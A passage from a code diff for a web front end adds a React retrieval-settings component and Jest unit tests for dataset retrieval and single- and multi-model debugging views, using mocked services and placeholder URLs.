+        rowClass={rowClass}
+        labelClass={labelClass}
+        t={t}
+        topK={3}
+        scoreThreshold={0.4}
+        scoreThresholdEnabled
+        onExternalSettingChange={handleExternalChange}
+        currentDataset={dataset}
+      />,
+    )
+    const [topKIncrement] = screen.getAllByLabelText('increment')
+    await userEvent.click(topKIncrement)
+
+    // Assert
+    expect(screen.getByText('External API')).toBeInTheDocument()
+    expect(screen.getByText('https://api.external.com')).toBeInTheDocument()
+    expect(screen.getByText('ext-id-999')).toBeInTheDocument()
+    expect(handleExternalChange).toHaveBeenCalledWith(expect.objectContaining({ top_k: 4 }))
+  })
+
+  it('renders internal retrieval config with doc link', () => {
+    // Arrange
+    const docLink = jest.fn((path: string) => `https://docs.example${path}`)
+    const retrievalConfig = createRetrievalConfig()
+
+    // Act
+    render(
+      <RetrievalSection
+        isExternal={false}
+        rowClass={rowClass}
+        labelClass={labelClass}
+        t={t}
+        indexMethod={IndexingType.QUALIFIED}
+        retrievalConfig={retrievalConfig}
+        showMultiModalTip
+        onRetrievalConfigChange={jest.fn()}
+        docLink={docLink}
+      />,
+    )
+
+    // Assert
+    expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument()
+    const learnMoreLink = screen.getByRole('link', { name: 'datasetSettings.form.retrievalSetting.learnMore' })
+    expect(learnMoreLink).toHaveAttribute('href', 'https://docs.example/guides/knowledge-base/create-knowledge-and-upload-documents/setting-indexing-methods#setting-the-retrieval-setting')
+    expect(docLink).toHaveBeenCalledWith('/guides/knowledge-base/create-knowledge-and-upload-documents/setting-indexing-methods#setting-the-retrieval-setting')
+  })
+
+  it('propagates retrieval config changes for economical indexing', async () => {
+    // Arrange
+    const handleRetrievalChange = jest.fn()
+
+    // Act
+    render(
+      <RetrievalSection
+        isExternal={false}
+        rowClass={rowClass}
+        labelClass={labelClass}
+        t={t}
+        indexMethod={IndexingType.ECONOMICAL}
+        retrievalConfig={createRetrievalConfig()}
+        showMultiModalTip={false}
+        onRetrievalConfigChange={handleRetrievalChange}
+        docLink={path => path}
+      />,
+    )
+    const [topKIncrement] = screen.getAllByLabelText('increment')
+    await userEvent.click(topKIncrement)
+
+    // Assert
+    expect(screen.getByText('dataset.retrieval.keyword_search.title')).toBeInTheDocument()
+    expect(handleRetrievalChange).toHaveBeenCalledWith(expect.objectContaining({
+      top_k: 3,
+    }))
+  })
+})
diff --git a/web/app/components/app/configuration/dataset-config/settings-modal/retrieval-section.tsx b/web/app/components/app/configuration/dataset-config/settings-modal/retrieval-section.tsx
new file mode 100644
index 0000000000..99d042f681
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/settings-modal/retrieval-section.tsx
@@ -0,0 +1,218 @@
+import { RiCloseLine } from '@remixicon/react'
+import type { FC } from 'react'
+import { cn } from '@/utils/classnames'
+import Divider from '@/app/components/base/divider'
+import { ApiConnectionMod } from '@/app/components/base/icons/src/vender/solid/development'
+import { AlertTriangle } from '@/app/components/base/icons/src/vender/solid/alertsAndFeedback'
+import RetrievalSettings from '@/app/components/datasets/external-knowledge-base/create/RetrievalSettings'
+import type { DataSet } from '@/models/datasets'
+import { IndexingType } from '@/app/components/datasets/create/step-two'
+import type { RetrievalConfig } from '@/types/app'
+import RetrievalMethodConfig from '@/app/components/datasets/common/retrieval-method-config'
+import EconomicalRetrievalMethodConfig from '@/app/components/datasets/common/economical-retrieval-method-config'
+
+type CommonSectionProps = {
+  rowClass: string
+  labelClass: string
+  t: (key: string, options?: any) => string
+}
+
+type ExternalRetrievalSectionProps = CommonSectionProps & {
+  topK: number
+  scoreThreshold: number
+  scoreThresholdEnabled: boolean
+  onExternalSettingChange: (data: { top_k?: number; score_threshold?: number; score_threshold_enabled?: boolean }) => void
+  currentDataset: DataSet
+}
+
+const ExternalRetrievalSection: FC<ExternalRetrievalSectionProps> = ({
+  rowClass,
+  labelClass,
+  t,
+  topK,
+  scoreThreshold,
+  scoreThresholdEnabled,
+  onExternalSettingChange,
+  currentDataset,
+}) => (
+  <>
+    <div className={rowClass}><Divider /></div>
+    <div className={rowClass}>
+      <div className={labelClass}>
+        <div className='system-sm-semibold text-text-secondary'>{t('datasetSettings.form.retrievalSetting.title')}</div>
+      </div>
+      <RetrievalSettings
+        topK={topK}
+        scoreThreshold={scoreThreshold}
+        scoreThresholdEnabled={scoreThresholdEnabled}
+        onChange={onExternalSettingChange}
+        isInRetrievalSetting={true}
+      />
+    </div>
+    <div className={rowClass}><Divider /></div>
+    <div className={rowClass}>
+      <div className={labelClass}>
+        <div className='system-sm-semibold text-text-secondary'>{t('datasetSettings.form.externalKnowledgeAPI')}</div>
+      </div>
+      <div className='w-full max-w-[480px]'>
+        <div className='flex h-full items-center gap-1 rounded-lg bg-components-input-bg-normal px-3 py-2'>
+          <ApiConnectionMod className='h-4 w-4 text-text-secondary' />
+          <div className='system-sm-medium overflow-hidden text-ellipsis text-text-secondary'>
+            {currentDataset?.external_knowledge_info.external_knowledge_api_name}
+          </div>
+          <div className='system-xs-regular text-text-tertiary'>·</div>
+          <div className='system-xs-regular text-text-tertiary'>{currentDataset?.external_knowledge_info.external_knowledge_api_endpoint}</div>
+        </div>
+      </div>
+    </div>
+    <div className={rowClass}>
+      <div className={labelClass}>
+        <div className='system-sm-semibold text-text-secondary'>{t('datasetSettings.form.externalKnowledgeID')}</div>
+      </div>
+      <div className='w-full max-w-[480px]'>
+        <div className='flex h-full items-center gap-1 rounded-lg bg-components-input-bg-normal px-3 py-2'>
+          <div className='system-xs-regular text-text-tertiary'>{currentDataset?.external_knowledge_info.external_knowledge_id}</div>
+        </div>
+      </div>
+    </div>
+    <div className={rowClass}><Divider /></div>
+  </>
+)
+
+type InternalRetrievalSectionProps = CommonSectionProps & {
+  indexMethod: IndexingType
+  retrievalConfig: RetrievalConfig
+  showMultiModalTip: boolean
+  onRetrievalConfigChange: (value: RetrievalConfig) => void
+  docLink: (path: string) => string
+}
+
+const InternalRetrievalSection: FC<InternalRetrievalSectionProps> = ({
+  rowClass,
+  labelClass,
+  t,
+  indexMethod,
+  retrievalConfig,
+  showMultiModalTip,
+  onRetrievalConfigChange,
+  docLink,
+}) => (
+  <div className={rowClass}>
+    <div className={cn(labelClass, 'w-auto min-w-[168px]')}>
+      <div>
+        <div className='system-sm-semibold text-text-secondary'>{t('datasetSettings.form.retrievalSetting.title')}</div>
+        <div className='text-xs font-normal leading-[18px] text-text-tertiary'>
+          <a target='_blank' rel='noopener noreferrer' href={docLink('/guides/knowledge-base/create-knowledge-and-upload-documents/setting-indexing-methods#setting-the-retrieval-setting')} className='text-text-accent'>{t('datasetSettings.form.retrievalSetting.learnMore')}</a>
+          {t('datasetSettings.form.retrievalSetting.description')}
+        </div>
+      </div>
+    </div>
+    <div>
+      {indexMethod === IndexingType.QUALIFIED
+        ? (
+          <RetrievalMethodConfig
+            value={retrievalConfig}
+            onChange={onRetrievalConfigChange}
+            showMultiModalTip={showMultiModalTip}
+          />
+        )
+        : (
+          <EconomicalRetrievalMethodConfig
+            value={retrievalConfig}
+            onChange={onRetrievalConfigChange}
+          />
+        )}
+    </div>
+  </div>
+)
+
+type RetrievalSectionProps
+  = | (ExternalRetrievalSectionProps & { isExternal: true })
+  | (InternalRetrievalSectionProps & { isExternal: false })
+
+export const RetrievalSection: FC<RetrievalSectionProps> = (props) => {
+  if (props.isExternal) {
+    const {
+      rowClass,
+      labelClass,
+      t,
+      topK,
+      scoreThreshold,
+      scoreThresholdEnabled,
+      onExternalSettingChange,
+      currentDataset,
+    } = props
+
+    return (
+      <ExternalRetrievalSection
+        rowClass={rowClass}
+        labelClass={labelClass}
+        t={t}
+        topK={topK}
+        scoreThreshold={scoreThreshold}
+        scoreThresholdEnabled={scoreThresholdEnabled}
+        onExternalSettingChange={onExternalSettingChange}
+        currentDataset={currentDataset}
+      />
+    )
+  }
+
+  const {
+    rowClass,
+    labelClass,
+    t,
+    indexMethod,
+    retrievalConfig,
+    showMultiModalTip,
+    onRetrievalConfigChange,
+    docLink,
+  } = props
+
+  return (
+    <InternalRetrievalSection
+      rowClass={rowClass}
+      labelClass={labelClass}
+      t={t}
+      indexMethod={indexMethod}
+      retrievalConfig={retrievalConfig}
+      showMultiModalTip={showMultiModalTip}
+      onRetrievalConfigChange={onRetrievalConfigChange}
+      docLink={docLink}
+    />
+  )
+}
+
+type RetrievalChangeTipProps = {
+  visible: boolean
+  message: string
+  onDismiss: () => void
+}
+
+export const RetrievalChangeTip: FC<RetrievalChangeTipProps> = ({
+  visible,
+  message,
+  onDismiss,
+}) => {
+  if (!visible)
+    return null
+
+  return (
+    <div className='absolute bottom-[76px] left-[30px] right-[30px] z-10 flex h-10 items-center justify-between rounded-lg border border-[#FEF0C7] bg-[#FFFAEB] px-3 shadow-lg'>
+      <div className='flex items-center'>
+        <AlertTriangle className='mr-1 h-3 w-3 text-[#F79009]' />
+        <div className='text-xs font-medium leading-[18px] text-gray-700'>{message}</div>
+      </div>
+      <button
+        type='button'
+        className='cursor-pointer p-1'
+        onClick={(event) => {
+          onDismiss()
+          event.stopPropagation()
+        }}
+        aria-label='close-retrieval-change-tip'
+      >
+        <RiCloseLine className='h-4 w-4 text-gray-500' />
+      </button>
+    </div>
+  )
+}
diff --git a/web/app/components/app/configuration/debug/chat-user-input.tsx b/web/app/components/app/configuration/debug/chat-user-input.tsx
index 16666d514e..c25bed548c 100644
--- a/web/app/components/app/configuration/debug/chat-user-input.tsx
+++ b/web/app/components/app/configuration/debug/chat-user-input.tsx
@@ -7,7 +7,7 @@ import Select from '@/app/components/base/select'
 import Textarea from '@/app/components/base/textarea'
 import { DEFAULT_VALUE_MAX_LEN } from '@/config'
 import type { Inputs } from '@/models/debug'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BoolInput from '@/app/components/workflow/nodes/_base/components/before-run-form/bool-input'
 
 type Props = {
diff --git a/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx b/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx
index 7607a21b07..140a6c2e6e 100644
--- a/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx
+++ b/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx
@@ -51,12 +51,6 @@ const mockFiles: FileEntity[] = [
   },
 ]
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 jest.mock('@/context/debug-configuration', () => ({
   __esModule: true,
   useDebugConfigurationContext: () => mockUseDebugConfigurationContext(),
@@ -206,6 +200,218 @@ describe('DebugWithMultipleModel', () => {
     mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration())
   })
 
+  describe('edge cases and error handling', () => {
+    it('should handle empty multipleModelConfigs array', () => {
+      renderComponent({ multipleModelConfigs: [] })
+      expect(screen.queryByTestId('debug-item')).not.toBeInTheDocument()
+      expect(screen.getByTestId('chat-input-area')).toBeInTheDocument()
+    })
+
+    it('should handle model config with missing required fields', () => {
+      const incompleteConfig = { id: 'incomplete' } as ModelAndParameter
+      renderComponent({ multipleModelConfigs: [incompleteConfig] })
+      expect(screen.getByTestId('debug-item')).toBeInTheDocument()
+    })
+
+    it('should handle more than 4 model configs', () => {
+      const manyConfigs = Array.from({ length: 6 }, () => createModelAndParameter())
+      renderComponent({ multipleModelConfigs: manyConfigs })
+
+      const items = screen.getAllByTestId('debug-item')
+      expect(items).toHaveLength(6)
+
+      // Items beyond 4 should not have specialized positioning
+      items.slice(4).forEach((item) => {
+        expect(item.style.transform).toBe('translateX(0) translateY(0)')
+      })
+    })
+
+    it('should handle modelConfig with undefined prompt_variables', () => {
+      // Note: The current component doesn't handle undefined/null prompt_variables gracefully
+      // This test documents the current behavior
+      const modelConfig = createModelConfig()
+      modelConfig.configs.prompt_variables = undefined as any
+
+      mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration({
+        modelConfig,
+      }))
+
+      expect(() => renderComponent()).toThrow('Cannot read properties of undefined (reading \'filter\')')
+    })
+
+    it('should handle modelConfig with null prompt_variables', () => {
+      // Note: The current component doesn't handle undefined/null prompt_variables gracefully
+      // This test documents the current behavior
+      const modelConfig = createModelConfig()
+      modelConfig.configs.prompt_variables = null as any
+
+      mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration({
+        modelConfig,
+      }))
+
+      expect(() => renderComponent()).toThrow('Cannot read properties of null (reading \'filter\')')
+    })
+
+    it('should handle prompt_variables with missing required fields', () => {
+      const incompleteVariables: PromptVariableWithMeta[] = [
+        { key: '', name: 'Empty Key', type: 'string' }, // Empty key
+        { key: 'valid-key', name: undefined as any, type: 'number' }, // Undefined name
+        { key: 'no-type', name: 'No Type', type: undefined as any }, // Undefined type
+      ]
+
+      const debugConfiguration = createDebugConfiguration({
+        modelConfig: createModelConfig(incompleteVariables),
+      })
+      mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
+
+      renderComponent()
+
+      // Should still render but handle gracefully
+      expect(screen.getByTestId('chat-input-area')).toBeInTheDocument()
+      expect(capturedChatInputProps?.inputsForm).toHaveLength(3)
+    })
+  })
+
+  describe('props and callbacks', () => {
+    it('should call onMultipleModelConfigsChange when provided', () => {
+      const onMultipleModelConfigsChange = jest.fn()
+      renderComponent({ onMultipleModelConfigsChange })
+
+      // Context provider should pass through the callback
+      expect(onMultipleModelConfigsChange).not.toHaveBeenCalled()
+    })
+
+    it('should call onDebugWithMultipleModelChange when provided', () => {
+      const onDebugWithMultipleModelChange = jest.fn()
+      renderComponent({ onDebugWithMultipleModelChange })
+
+      // Context provider should pass through the callback
+      expect(onDebugWithMultipleModelChange).not.toHaveBeenCalled()
+    })
+
+    it('should not memoize when props change', () => {
+      const props1 = createProps({ multipleModelConfigs: [createModelAndParameter({ id: 'model-1' })] })
+      const { rerender } = renderComponent(props1)
+
+      const props2 = createProps({ multipleModelConfigs: [createModelAndParameter({ id: 'model-2' })] })
+      rerender(<DebugWithMultipleModel {...props2} />)
+
+      const items = screen.getAllByTestId('debug-item')
+      expect(items[0]).toHaveAttribute('data-model-id', 'model-2')
+    })
+  })
+
+  describe('accessibility', () => {
+    it('should have accessible chat input elements', () => {
+      renderComponent()
+
+      const chatInput = screen.getByTestId('chat-input-area')
+      expect(chatInput).toBeInTheDocument()
+
+      // Check for button accessibility
+      const sendButton = screen.getByRole('button', { name: /send/i })
+      expect(sendButton).toBeInTheDocument()
+
+      const featureButton = screen.getByRole('button', { name: /feature/i })
+      expect(featureButton).toBeInTheDocument()
+    })
+
+    it('should apply ARIA attributes correctly', () => {
+      const multipleModelConfigs = [createModelAndParameter()]
+      renderComponent({ multipleModelConfigs })
+
+      // Debug items should be identifiable
+      const debugItem = screen.getByTestId('debug-item')
+      expect(debugItem).toBeInTheDocument()
+      expect(debugItem).toHaveAttribute('data-model-id')
+    })
+  })
+
+  describe('prompt variables transformation', () => {
+    it('should filter out API type variables', () => {
+      const promptVariables: PromptVariableWithMeta[] = [
+        { key: 'normal', name: 'Normal', type: 'string' },
+        { key: 'api-var', name: 'API Var', type: 'api' },
+        { key: 'number', name: 'Number', type: 'number' },
+      ]
+      const debugConfiguration = createDebugConfiguration({
+        modelConfig: createModelConfig(promptVariables),
+      })
+      mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
+
+      renderComponent()
+
+      expect(capturedChatInputProps?.inputsForm).toHaveLength(2)
+      expect(capturedChatInputProps?.inputsForm).toEqual(
+        expect.arrayContaining([
+          expect.objectContaining({ label: 'Normal', variable: 'normal' }),
+          expect.objectContaining({ label: 'Number', variable: 'number' }),
+        ]),
+      )
+      expect(capturedChatInputProps?.inputsForm).not.toEqual(
+        expect.arrayContaining([
+          expect.objectContaining({ label: 'API Var' }),
+        ]),
+      )
+    })
+
+    it('should handle missing hide and required properties', () => {
+      const promptVariables: Partial<PromptVariableWithMeta>[] = [
+        { key: 'no-hide', name: 'No Hide', type: 'string', required: true },
+        { key: 'no-required', name: 'No Required', type: 'number', hide: true },
+      ]
+      const debugConfiguration = createDebugConfiguration({
+        modelConfig: createModelConfig(promptVariables as PromptVariableWithMeta[]),
+      })
+      mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
+
+      renderComponent()
+
+      expect(capturedChatInputProps?.inputsForm).toEqual([
+        expect.objectContaining({
+          label: 'No Hide',
+          variable: 'no-hide',
+          hide: false, // Should default to false
+          required: true,
+        }),
+        expect.objectContaining({
+          label: 'No Required',
+          variable: 'no-required',
+          hide: true,
+          required: false, // Should default to false
+        }),
+      ])
+    })
+
+    it('should preserve original hide and required values', () => {
+      const promptVariables: PromptVariableWithMeta[] = [
+        { key: 'hidden-optional', name: 'Hidden Optional', type: 'string', hide: true, required: false },
+        { key: 'visible-required', name: 'Visible Required', type: 'number', hide: false, required: true },
+      ]
+      const debugConfiguration = createDebugConfiguration({
+        modelConfig: createModelConfig(promptVariables),
+      })
+      mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
+
+      renderComponent()
+
+      expect(capturedChatInputProps?.inputsForm).toEqual([
+        expect.objectContaining({
+          label: 'Hidden Optional',
+          variable: 'hidden-optional',
+          hide: true,
+          required: false,
+        }),
+        expect.objectContaining({
+          label: 'Visible Required',
+          variable: 'visible-required',
+          hide: false,
+          required: true,
+        }),
+      ])
+    })
+  })
+
   describe('chat input rendering', () => {
     it('should render chat input in chat mode with transformed prompt variables and feature handler', () => {
       // Arrange
@@ -326,6 +532,43 @@ describe('DebugWithMultipleModel', () => {
     })
   })
 
+  describe('performance optimization', () => {
+    it('should memoize callback functions correctly', () => {
+      const props = createProps({ multipleModelConfigs: [createModelAndParameter()] })
+      const { rerender } = renderComponent(props)
+
+      // First render
+      const firstItems = screen.getAllByTestId('debug-item')
+      expect(firstItems).toHaveLength(1)
+
+      // Rerender with exactly same props - should not cause re-renders
+      rerender(<DebugWithMultipleModel {...props} />)
+
+      const secondItems = screen.getAllByTestId('debug-item')
+      expect(secondItems).toHaveLength(1)
+
+      // Check that the element still renders the same content
+      expect(firstItems[0]).toHaveTextContent(secondItems[0].textContent || '')
+    })
+
+    it('should recalculate size and position when number of models changes', () => {
+      const { rerender } = renderComponent({ multipleModelConfigs: [createModelAndParameter()] })
+
+      // Single model - no special sizing
+      const singleItem = screen.getByTestId('debug-item')
+      expect(singleItem.style.width).toBe('')
+
+      // Change to 2 models
+      rerender(<DebugWithMultipleModel {...createProps({
+        multipleModelConfigs: [createModelAndParameter(), createModelAndParameter()],
+      })} />)
+
+      const twoItems = screen.getAllByTestId('debug-item')
+      expect(twoItems[0].style.width).toBe('calc(50% - 4px - 24px)')
+      expect(twoItems[1].style.width).toBe('calc(50% - 4px - 24px)')
+    })
+  })
+
   describe('layout sizing and positioning', () => {
     const expectItemLayout = (
       element: HTMLElement,
diff --git a/web/app/components/app/configuration/debug/debug-with-single-model/index.spec.tsx b/web/app/components/app/configuration/debug/debug-with-single-model/index.spec.tsx
new file mode 100644
index 0000000000..676456c3ea
--- /dev/null
+++ b/web/app/components/app/configuration/debug/debug-with-single-model/index.spec.tsx
@@ -0,0 +1,1011 @@
+import { act, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { type ReactNode, type RefObject, createRef } from 'react'
+import DebugWithSingleModel from './index'
+import type { DebugWithSingleModelRefType } from './index'
+import type { ChatItem } from '@/app/components/base/chat/types'
+import { ConfigurationMethodEnum, ModelFeatureEnum, ModelStatusEnum, ModelTypeEnum } from '@/app/components/header/account-setting/model-provider-page/declarations'
+import type { ProviderContextState } from '@/context/provider-context'
+import type { DatasetConfigs, ModelConfig } from '@/models/debug'
+import { PromptMode } from '@/models/debug'
+import { type Collection, CollectionType } from '@/app/components/tools/types'
+import type { FileEntity } from '@/app/components/base/file-uploader/types'
+import { AgentStrategy, AppModeEnum, ModelModeType, Resolution, TransferMethod } from '@/types/app'
+
+// ============================================================================
+// Test Data Factories (Following testing.md guidelines)
+// ============================================================================
+
+/**
+ * Factory function for creating mock ModelConfig with type safety
+ */
+function createMockModelConfig(overrides: Partial<ModelConfig> = {}): ModelConfig {
+  return {
+    provider: 'openai',
+    model_id: 'gpt-3.5-turbo',
+    mode: ModelModeType.chat,
+    configs: {
+      prompt_template: 'Test template',
+      prompt_variables: [
+        { key: 'var1', name: 'Variable 1', type: 'text', required: false },
+      ],
+    },
+    chat_prompt_config: {
+      prompt: [],
+    },
+    completion_prompt_config: {
+      prompt: { text: '' },
+      conversation_histories_role: {
+        user_prefix: 'user',
+        assistant_prefix: 'assistant',
+      },
+    },
+    more_like_this: null,
+    opening_statement: '',
+    suggested_questions: [],
+    sensitive_word_avoidance: null,
+    speech_to_text: null,
+    text_to_speech: null,
+    file_upload: null,
+    suggested_questions_after_answer: null,
+    retriever_resource: null,
+    annotation_reply: null,
+    external_data_tools: [],
+    system_parameters: {
+      audio_file_size_limit: 0,
+      file_size_limit: 0,
+      image_file_size_limit: 0,
+      video_file_size_limit: 0,
+      workflow_file_upload_limit: 0,
+    },
+    dataSets: [],
+    agentConfig: {
+      enabled: false,
+      max_iteration: 5,
+      tools: [],
+      strategy: AgentStrategy.react,
+    },
+    ...overrides,
+  }
+}
+
+/**
+ * Factory function for creating mock Collection list
+ */
+function createMockCollections(collections: Partial<Collection>[] = []): Collection[] {
+  return collections.map((collection, index) => ({
+    id: `collection-${index}`,
+    name: `Collection ${index}`,
+    icon: 'icon-url',
+    type: 'tool',
+    ...collection,
+  } as Collection))
+}
+
+/**
+ * Factory function for creating mock Provider Context
+ */
+function createMockProviderContext(overrides: Partial<ProviderContextState> = {}): ProviderContextState {
+  return {
+    textGenerationModelList: [
+      {
+        provider: 'openai',
+        label: { en_US: 'OpenAI', zh_Hans: 'OpenAI' },
+        icon_small: { en_US: 'icon', zh_Hans: 'icon' },
+        icon_large: { en_US: 'icon', zh_Hans: 'icon' },
+        status: ModelStatusEnum.active,
+        models: [
+          {
+            model: 'gpt-3.5-turbo',
+            label: { en_US: 'GPT-3.5', zh_Hans: 'GPT-3.5' },
+            model_type: ModelTypeEnum.textGeneration,
+            features: [ModelFeatureEnum.vision],
+            fetch_from: ConfigurationMethodEnum.predefinedModel,
+            model_properties: {},
+            deprecated: false,
+          },
+        ],
+      },
+    ],
+    hasSettedApiKey: true,
+    modelProviders: [],
+    speech2textDefaultModel: null,
+    ttsDefaultModel: null,
+    agentThoughtDefaultModel: null,
+    updateModelList: jest.fn(),
+    onPlanInfoChanged: jest.fn(),
+    refreshModelProviders: jest.fn(),
+    refreshLicenseLimit: jest.fn(),
+    ...overrides,
+  } as ProviderContextState
+}
+
+// ============================================================================
+// Mock External Dependencies ONLY (Following testing.md guidelines)
+// ============================================================================
+
+// Mock service layer (API calls)
+jest.mock('@/service/base', () => ({
+  ssePost: jest.fn(() => Promise.resolve()),
+  post: jest.fn(() => Promise.resolve({ data: {} })),
+  get: jest.fn(() => Promise.resolve({ data: {} })),
+  del: jest.fn(() => Promise.resolve({ data: {} })),
+  patch: jest.fn(() => Promise.resolve({ data: {} })),
+  put: jest.fn(() => Promise.resolve({ data: {} })),
+}))
+
+jest.mock('@/service/fetch', () => ({
+  fetch: jest.fn(() => Promise.resolve({ ok: true, json: () => Promise.resolve({}) })),
+}))
+
+const mockFetchConversationMessages = jest.fn()
+const mockFetchSuggestedQuestions = jest.fn()
+const mockStopChatMessageResponding = jest.fn()
+
+jest.mock('@/service/debug', () => ({
+  fetchConversationMessages: (...args: unknown[]) => mockFetchConversationMessages(...args),
+  fetchSuggestedQuestions: (...args: unknown[]) => mockFetchSuggestedQuestions(...args),
+  stopChatMessageResponding: (...args: unknown[]) => mockStopChatMessageResponding(...args),
+}))
+
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({ push: jest.fn() }),
+  usePathname: () => '/test',
+  useParams: () => ({}),
+}))
+
+// Mock complex context providers
+const mockDebugConfigContext = {
+  appId: 'test-app-id',
+  isAPIKeySet: true,
+  isTrailFinished: false,
+  mode: AppModeEnum.CHAT,
+  modelModeType: ModelModeType.chat,
+  promptMode: PromptMode.simple,
+  setPromptMode: jest.fn(),
+  isAdvancedMode: false,
+  isAgent: false,
+  isFunctionCall: false,
+  isOpenAI: true,
+  collectionList: createMockCollections([
+    { id: 'test-provider', name: 'Test Tool', icon: 'icon-url' },
+  ]),
+  canReturnToSimpleMode: false,
+  setCanReturnToSimpleMode: jest.fn(),
+  chatPromptConfig: {},
+  completionPromptConfig: {},
+  currentAdvancedPrompt: [],
+  showHistoryModal: jest.fn(),
+  conversationHistoriesRole: { user_prefix: 'user', assistant_prefix: 'assistant' },
+  setConversationHistoriesRole: jest.fn(),
+  setCurrentAdvancedPrompt: jest.fn(),
+  hasSetBlockStatus: { context: false, history: false, query: false },
+  conversationId: null,
+  setConversationId: jest.fn(),
+  introduction: '',
+  setIntroduction: jest.fn(),
+  suggestedQuestions: [],
+  setSuggestedQuestions: jest.fn(),
+  controlClearChatMessage: 0,
+  setControlClearChatMessage: jest.fn(),
+  prevPromptConfig: { prompt_template: '', prompt_variables: [] },
+  setPrevPromptConfig: jest.fn(),
+  moreLikeThisConfig: { enabled: false },
+  setMoreLikeThisConfig: jest.fn(),
+  suggestedQuestionsAfterAnswerConfig: { enabled: false },
+  setSuggestedQuestionsAfterAnswerConfig: jest.fn(),
+  speechToTextConfig: { enabled: false },
+  setSpeechToTextConfig: jest.fn(),
+  textToSpeechConfig: { enabled: false, voice: '', language: '' },
+  setTextToSpeechConfig: jest.fn(),
+  citationConfig: { enabled: false },
+  setCitationConfig: jest.fn(),
+  moderationConfig: { enabled: false },
+  annotationConfig: { id: '', enabled: false, score_threshold: 0.7, embedding_model: { embedding_model_name: '', embedding_provider_name: '' } },
+  setAnnotationConfig: jest.fn(),
+  setModerationConfig: jest.fn(),
+  externalDataToolsConfig: [],
+  setExternalDataToolsConfig: jest.fn(),
+  formattingChanged: false,
+  setFormattingChanged: jest.fn(),
+  inputs: { var1: 'test input' },
+  setInputs: jest.fn(),
+  query: '',
+  setQuery: jest.fn(),
+  completionParams: { max_tokens: 100, temperature: 0.7 },
+  setCompletionParams: jest.fn(),
+  modelConfig: createMockModelConfig({
+    agentConfig: {
+      enabled: false,
+      max_iteration: 5,
+      tools: [{
+        tool_name: 'test-tool',
+        provider_id: 'test-provider',
+        provider_type: CollectionType.builtIn,
+        provider_name: 'test-provider',
+        tool_label: 'Test Tool',
+        tool_parameters: {},
+        enabled: true,
+      }],
+      strategy: AgentStrategy.react,
+    },
+  }),
+  setModelConfig: jest.fn(),
+  dataSets: [],
+  showSelectDataSet: jest.fn(),
+  setDataSets: jest.fn(),
+  datasetConfigs: {
+    retrieval_model: 'single',
+    reranking_model: { reranking_provider_name: '', reranking_model_name: '' },
+    top_k: 4,
+    score_threshold_enabled: false,
+    score_threshold: 0.7,
+    datasets: { datasets: [] },
+  } as DatasetConfigs,
+  datasetConfigsRef: createRef<DatasetConfigs>(),
+  setDatasetConfigs: jest.fn(),
+  hasSetContextVar: false,
+  isShowVisionConfig: false,
+  visionConfig: { enabled: false, number_limits: 2, detail: Resolution.low, transfer_methods: [] },
+  setVisionConfig: jest.fn(),
+  isAllowVideoUpload: false,
+  isShowDocumentConfig: false,
+  isShowAudioConfig: false,
+  rerankSettingModalOpen: false,
+  setRerankSettingModalOpen: jest.fn(),
+}
+
+jest.mock('@/context/debug-configuration', () => ({
+  useDebugConfigurationContext: jest.fn(() => mockDebugConfigContext),
+}))
+
+const mockProviderContext = createMockProviderContext()
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: jest.fn(() => mockProviderContext),
+}))
+
+const mockAppContext = {
+  userProfile: {
+    id: 'user-1',
+    avatar_url: 'https://example.com/avatar.png',
+    name: 'Test User',
+    email: 'test@example.com',
+  },
+  isCurrentWorkspaceManager: false,
+  isCurrentWorkspaceOwner: false,
+  isCurrentWorkspaceDatasetOperator: false,
+  mutateUserProfile: jest.fn(),
+}
+
+jest.mock('@/context/app-context', () => ({
+  useAppContext: jest.fn(() => mockAppContext),
+}))
+
+type FeatureState = {
+  moreLikeThis: { enabled: boolean }
+  opening: { enabled: boolean; opening_statement: string; suggested_questions: string[] }
+  moderation: { enabled: boolean }
+  speech2text: { enabled: boolean }
+  text2speech: { enabled: boolean }
+  file: { enabled: boolean }
+  suggested: { enabled: boolean }
+  citation: { enabled: boolean }
+  annotationReply: { enabled: boolean }
+}
+
+const defaultFeatures: FeatureState = {
+  moreLikeThis: { enabled: false },
+  opening: { enabled: false, opening_statement: '', suggested_questions: [] },
+  moderation: { enabled: false },
+  speech2text: { enabled: false },
+  text2speech: { enabled: false },
+  file: { enabled: false },
+  suggested: { enabled: false },
+  citation: { enabled: false },
+  annotationReply: { enabled: false },
+}
+type FeatureSelector = (state: { features: FeatureState }) => unknown
+
+let mockFeaturesState: FeatureState = { ...defaultFeatures }
+jest.mock('@/app/components/base/features/hooks', () => ({
+  useFeatures: jest.fn(),
+}))
+
+const mockConfigFromDebugContext = {
+  pre_prompt: 'Test prompt',
+  prompt_type: 'simple',
+  user_input_form: [],
+  dataset_query_variable: '',
+  opening_statement: '',
+  more_like_this: { enabled: false },
+  suggested_questions: [],
+  suggested_questions_after_answer: { enabled: false },
+  text_to_speech: { enabled: false },
+  speech_to_text: { enabled: false },
+  retriever_resource: { enabled: false },
+  sensitive_word_avoidance: { enabled: false },
+  agent_mode: {},
+  dataset_configs: {},
+  file_upload: { enabled: false },
+  annotation_reply: { enabled: false },
+  supportAnnotation: true,
+  appId: 'test-app-id',
+  supportCitationHitInfo: true,
+}
+
+jest.mock('../hooks', () => ({
+  useConfigFromDebugContext: jest.fn(() => mockConfigFromDebugContext),
+  useFormattingChangedSubscription: jest.fn(),
+}))
+
+const mockSetShowAppConfigureFeaturesModal = jest.fn()
+
